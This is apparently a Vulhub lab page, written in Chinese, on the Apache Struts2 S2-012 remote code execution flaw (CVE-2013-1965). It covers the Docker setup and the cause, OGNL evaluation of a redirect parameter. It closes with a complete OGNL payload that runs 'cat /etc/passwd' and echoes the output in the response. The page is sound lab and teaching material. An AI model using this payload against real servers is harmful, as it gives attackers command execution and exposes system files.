S2-012 遠程代碼執行漏洞 (CVE-2013-1965)
Path struts2/s2-012
影響版本: 2.1.0 - 2.3.13
漏洞詳情: http://struts.apache.org/docs/s2-012.html
測試環境搭建
docker-compose build
docker-compose up -d
原理
如果在配置 Action 中 Result 時使用了重定向類型,并且還使用 ${param_name} 作為重定向變量,例如:
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>
這里 UserAction 中定義有一個 name 變量,當觸發 redirect 類型返回時,Struts2 獲取使用 ${name} 獲取其值,在這個過程中會對 name 參數的值執行 OGNL 表達式解析,從而可以插入任意 OGNL 表達式導致命令執行。
Exp
可以直接祭出s2-001中的回顯POC,因為這里是沒有沙盒,也沒有限制任何特殊字符(為什么?)。
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
發送請求,執行命令:

Vulhub 文檔